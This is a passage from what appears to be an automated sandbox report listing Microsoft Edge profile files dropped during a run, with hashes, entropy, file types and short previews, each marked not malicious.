SHA-512:	F260BA118D0401568A66CD40E44734974CBBA3C40DD7CE4317C8CF6901C68F59430DA9CACC516B9CAB91F1AA64E296A535DEE03F74100018A2158A42451A0ACB
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2.J.Vm................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8........@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x..................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299
Entropy (8bit):	5.175706494883628
Encrypted:	false
SSDEEP:	6:HUpcMD1923oH+TcwtE/a252KLlVUpsFlL+q2P923oH+TcwtE/a2ZIFUv:FYeb8xL3FIv4Yeb8J2FUv
MD5:	1934BE21E8EE5749247735FA9AA783DA
SHA1:	63EE710ED78AAD76BF9F3403123BDE9C29AA9080
SHA-256:	4FD11B7E48774EF9332DD8674BC6D8868661F20CC5807EEEBF46F242B61B0E87
SHA-512:	75B44218D67657780DCABB831C27A046A91379307A456BFEA4118E9F85EB6FB463714EF4B558D108C4CE134D914EF166DA1ECEB9A446FD6C4058292F7B936C92
Malicious:	false
Preview:	2024/11/11-15:59:22.728 1c98 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/11-15:59:22.743 1c98 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	113653
Entropy (8bit):	5.580035670699669
Encrypted:	false
SSDEEP:	1536:sa906yxPXfOrr1lhCe1+46rCjF3NlH2BoOz/0iL/rDL/rYihC:f9LyxPXfOrr1lMe1z6rWXU8iL/HL/s
MD5:	CD630CAF2E8FC92F56422BD2751EE253
SHA1:	B1A4D054C105579D58AF21C612251262400B1871
SHA-256:	DD727DCA14768FC580D35C4B750D5510971E94F24373411D91F1FC55A6732295
SHA-512:	C275CC0B2A6B9FC7A6A74FC9AE4F088701723E20FF57CDB7787C87D4D2FDD915F545A8C534E25AF123444749D863181B893A8A09562E105C7DFAA51E46A93561
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	187817
Entropy (8bit):	6.381257412483718
Encrypted:	false
SSDEEP:	3072:kID6+5hfUfwVLYZlYX9z12dnTHqp+ctn2RiL/fTB3ctoC4vG:ofwGYX3ojAHtbL/fd3+4vG
MD5:	0E88BEBC5BAC4FD22AD8638A72DE2E46
SHA1:	9D4F727E2C33A2EF6D2C342F1AA7F6F935E51866
SHA-256:	2257223C7CEBEE69A790A683488C51A5EE94276966CD1E2F2E8218FEA71D8718
SHA-512:	FE6A9F06CD37900E591AC220802D7859E81E365AF670344115439C77607766431815FA0F33E68BA7492EBF6429F7E75DA427B52660E6328536E842A4CD658DC1
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;....x.P........,T.8..`,.....L`.....,T...`......L`......Rc..ax....exports...Rc.\5.....module....Rcj'F7....define....RbR@.L....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m.Nu.yb...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....A..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da.....S...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.4738513896100427
Encrypted:	false
SSDEEP:	3:1loS0Xl/lrV/lxE0tllzQPFY:wd60OPq
MD5:	319A3A770E10F55FAF4C1B7800B18339
SHA1:	38041DE7E821970E39EE0FE6E5D559C4A0D6DEEA
SHA-256:	AA5156579240576C7DB3D63BEFAC22F11C9D6BBB2FF9A7D19D11769D81F8560A
SHA-512:	39B16E7928207209330D4377FDF449AA10C92ECD5C574C7990FA62A8AF40996F715CFCCCE0918734FBAE146518760D87220E6EF330B4B60F660CD23B2C6672DA
Malicious:	false
Preview:	@....@.oy retne.........................X....,..................?./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.4738513896100427
Encrypted:	false
SSDEEP:	3:1loS0Xl/lrV/lxE0tllzQPFY:wd60OPq
MD5:	319A3A770E10F55FAF4C1B7800B18339
SHA1:	38041DE7E821970E39EE0FE6E5D559C4A0D6DEEA
SHA-256:	AA5156579240576C7DB3D63BEFAC22F11C9D6BBB2FF9A7D19D11769D81F8560A
SHA-512:	39B16E7928207209330D4377FDF449AA10C92ECD5C574C7990FA62A8AF40996F715CFCCCE0918734FBAE146518760D87220E6EF330B4B60F660CD23B2C6672DA
Malicious:	false
Preview:	@....@.oy retne.........................X....,..................?./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF3da63.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.4738513896100427
Encrypted:	false
SSDEEP:	3:1loS0Xl/lrV/lxE0tllzQPFY:wd60OPq
MD5:	319A3A770E10F55FAF4C1B7800B18339
SHA1:	38041DE7E821970E39EE0FE6E5D559C4A0D6DEEA
SHA-256:	AA5156579240576C7DB3D63BEFAC22F11C9D6BBB2FF9A7D19D11769D81F8560A
SHA-512:	39B16E7928207209330D4377FDF449AA10C92ECD5C574C7990FA62A8AF40996F715CFCCCE0918734FBAE146518760D87220E6EF330B4B60F660CD23B2C6672DA
Malicious:	false
Preview:	@....@.oy retne.........................X....,..................?./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	5521
Entropy (8bit):	3.445606400751856
Encrypted:	false
SSDEEP:	96:eKTa6GFMVN2iJbXOrnpoh9Xp+cJB+g+VYVwokrI5SLl9iSr/11XjQy:faTFmbb+rny9Xp+c/V+VYmDc5SLl9iSP
MD5:	B11F31723DA9F264C7006DC72B4C2AA3
SHA1:	7545048C67354FA55FF4E84CF5B71E8D0A819520
SHA-256:	3801F174D083472CDDF8D7466FD7561B5189A592BB0CF3AB52A0BFB55E56FCEC
SHA-512:	F9CBCB0777CB825C4BB7DF944134B94C4BE543FD9694A5755DE101F93DD24043E158D7DA1015D62105B95CB449A11187D14D3D00C541704893D7B4E3C520D61F
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f...............?..[b................next-map-id.1.Cnamespace-7be082b8_fda1_4397_aaa6_197ba0eb293e-https://ntp.msn.com/.0....L................map-0-shd_sweeper.({.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.e.h.p.s.b.t.q.s.t.,.p.r.g.-.c.a.l.-.5.c.o.l.u.m.n.,.x.a.d.s.-.a.d.q.i.s.c.b.m.m.-.t.,.p.r.g.-.i.n.f.o.p.-.a.d.s.-.d.l.-.t.2.,.p.r.g.-.c.l.r.e.m.u.v.2.,.p.r.g.-.1.s.w.-.s.a.-.c.a.p.s.p.t.4.t.1.,.p.r.g.-.1.s.w.-.s.a.-.g.e.n.u.2.i.v.1.t.2.,.p.r.g.-.1.s.w.-.n.o.r.e.t.r.y.,.1.s.w.-.t.p.s.n.-.d.s.t.p.r.g.1.d.c.y.-.c.,.p.r.g.-.1.s.w.-.r.i.v.d.d.r.-.a.n.y.,.p.r.g.-.1.s.w.-.r.i.v.c.o.v.r.d.a.n.y.,.p.r.g.-.f.i.n.-.l.2.d.u.e.a.,.2.4.0.9.-.n.e.w.-.b.i.n.g.-.d.e.s.i.g.n.-.t.,.p.r.g.-.a.d.s.p.e.e.k.,.p.r.g.-.1.s.w.-.r.e.v.2.t.-.r.f.,.f.l.i.g.h.t.0.4.1.7._.4.,.p.r.g.-.p.r.2.-.w.i.d.g.e.t.-.t.a.b.,.p.r.g.-.p.r.2.-.t.r.d.i.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.097281415128379
Encrypted:	false
SSDEEP:	6:HUWda+q2P923oH+TcwtrQMxIFUt8YUWdNWAWZmw+YUWdXX3VkwO923oH+TcwtrQq:/da+v4YebCFUt8UdNW/+Ud3V5LYebtJ
MD5:	DD87D1383EF4A9B3E1AFF0078A88343F
SHA1:	099CD274C8200078A3E83C21F6F780F00B37CA0F
SHA-256:	F952DB1C01BB1ABE1C96B86128D5C9F251E5BCD359307B1EE96DEA563F98E43B
SHA-512:	EDD9A3CCDE4BBE5F7A36797C817AFCB5C7D5C55CC26916A46F0F40A469B5009F91B0AF18A66587BD0137F1B33CFAFD9DF0D6A27007EB433E8BD17870F33F5149
Malicious:	false
Preview:	2024/11/11-15:59:13.901 180c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/11-15:59:13.903 180c Recovering log #3.2024/11/11-15:59:13.911 180c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.097281415128379
Encrypted:	false
SSDEEP:	6:HUWda+q2P923oH+TcwtrQMxIFUt8YUWdNWAWZmw+YUWdXX3VkwO923oH+TcwtrQq:/da+v4YebCFUt8UdNW/+Ud3V5LYebtJ
MD5:	DD87D1383EF4A9B3E1AFF0078A88343F
SHA1:	099CD274C8200078A3E83C21F6F780F00B37CA0F
SHA-256:	F952DB1C01BB1ABE1C96B86128D5C9F251E5BCD359307B1EE96DEA563F98E43B
SHA-512:	EDD9A3CCDE4BBE5F7A36797C817AFCB5C7D5C55CC26916A46F0F40A469B5009F91B0AF18A66587BD0137F1B33CFAFD9DF0D6A27007EB433E8BD17870F33F5149
Malicious:	false
Preview:	2024/11/11-15:59:13.901 180c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/11-15:59:13.903 180c Recovering log #3.2024/11/11-15:59:13.911 180c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13375832355194661

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.840982221553337
Encrypted:	false
SSDEEP:	24:3PlryexpsAF4unxotLp3X2amEtG1ChqMAkC4QKkOAM40A:3PNFzFmLp2FEkCh2vZHOpY
MD5:	3A34C54A986C7F11F20F78AD028AF09C
SHA1:	0AF2413CA4041E8479BA6BF4833DF4F5A873649E
SHA-256:	D28317355C34D6E597F5CF9BFC54396709A8A270A39B210455C4ECA563A78B90
SHA-512:	C2E4750F54B740081EA69B3336892425619601798CCB394BCB7493D770FFC07122F709D44F4DB30BFDE2F42824C71AE894858725D59A91607FEB325209B41C03
Malicious:	false
Preview:	SNSS..........G..............G......"...G..............G..........G..........G..........G....!.....G..................................G...G1..,......G$...7be082b8_fda1_4397_aaa6_197ba0eb293e......G..........G......;...........G......G..........................G....................5..0......G&...{98952893-68FF-4A5D-A164-705C709ED3DB}........G..........G..............G........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x........V._.&...V._.&.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8....................................................................... ..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.118056975888151
Encrypted:	false
SSDEEP:	6:HUWbV+q2P923oH+Tcwt7Uh2ghZIFUt8YUWbBZmw+YUWbYHNVkwO923oH+Tcwt7UT:/bgv4YebIhHh2FUt8UbB/+Ubwz5LYebs
MD5:	1F047240613FC94D3F7B0636F74507DA
SHA1:	1E9AA6E85F390E9F756306DBBC05BFFF5F74010E
SHA-256:	131F713E61907573326388CAF33F8979723BF0805A3BDAA72ED2FC0AE51E9875
SHA-512:	6CB7D67B4378E2F3B753E6E8CA1A5B59F643BBF2B931B20BF4BE3FCC4B0E40B82C9B2697E92B0BB4105A5C549E84EA06835D7CDECAB88C8783BE8F4840EEEF38
Malicious:	false
Preview:	2024/11/11-15:59:12.721 1c28 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/11-15:59:12.721 1c28 Recovering log #3.2024/11/11-15:59:12.722 1c28 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.118056975888151
Encrypted:	false
SSDEEP:	6:HUWbV+q2P923oH+Tcwt7Uh2ghZIFUt8YUWbBZmw+YUWbYHNVkwO923oH+Tcwt7UT:/bgv4YebIhHh2FUt8UbB/+Ubwz5LYebs
MD5:	1F047240613FC94D3F7B0636F74507DA
SHA1:	1E9AA6E85F390E9F756306DBBC05BFFF5F74010E
SHA-256:	131F713E61907573326388CAF33F8979723BF0805A3BDAA72ED2FC0AE51E9875
SHA-512:	6CB7D67B4378E2F3B753E6E8CA1A5B59F643BBF2B931B20BF4BE3FCC4B0E40B82C9B2697E92B0BB4105A5C549E84EA06835D7CDECAB88C8783BE8F4840EEEF38
Malicious:	false
Preview:	2024/11/11-15:59:12.721 1c28 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/11-15:59:12.721 1c28 Recovering log #3.2024/11/11-15:59:12.722 1c28 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.223644779229211
Encrypted:	false
SSDEEP:	12:/dAlyv4YebvqBQFUt8UdxMX/+UdlR5LYebvqBvJ:/dAlY4YebvZg8Udx+dlDLYebvk
MD5:	C925A36A7AEA8E110E2703D8718F9E43
SHA1:	37E395DCD35EAF975F4E1C144EEAF6D3C985EF72
SHA-256:	703F3CB75AC67DBD5FBA55F30D1AD5B92E9F34FDD3588661994470C748C9701B
SHA-512:	1BBE06B775A4E4DE2C59A64703ED744F8C2A29D619C5BDAFB4CEAB15B3003B3E06B089FAB005ADFB4CCB137D7FD4E71A82DD15614745C20B097E613E8AD4AC42
Malicious:	false
Preview:	2024/11/11-15:59:13.906 1e34 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/11-15:59:13.917 1e34 Recovering log #3.2024/11/11-15:59:13.923 1e34 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.223644779229211
Encrypted:	false
SSDEEP:	12:/dAlyv4YebvqBQFUt8UdxMX/+UdlR5LYebvqBvJ:/dAlY4YebvZg8Udx+dlDLYebvk
MD5:	C925A36A7AEA8E110E2703D8718F9E43
SHA1:	37E395DCD35EAF975F4E1C144EEAF6D3C985EF72
SHA-256:	703F3CB75AC67DBD5FBA55F30D1AD5B92E9F34FDD3588661994470C748C9701B
SHA-512:	1BBE06B775A4E4DE2C59A64703ED744F8C2A29D619C5BDAFB4CEAB15B3003B3E06B089FAB005ADFB4CCB137D7FD4E71A82DD15614745C20B097E613E8AD4AC42
Malicious:	false
Preview:	2024/11/11-15:59:13.906 1e34 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/11-15:59:13.917 1e34 Recovering log #3.2024/11/11-15:59:13.923 1e34 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\1cb8e3d5-f6a5-4685-acc7-03d5baef9e8f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\59637599-c612-452f-88c5-781452d5ba65.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\69984c23-9eaf-405d-a033-b1f1fd966932.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\6c5ea31b-4611-4dc0-9c89-bb74fffe4f6b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
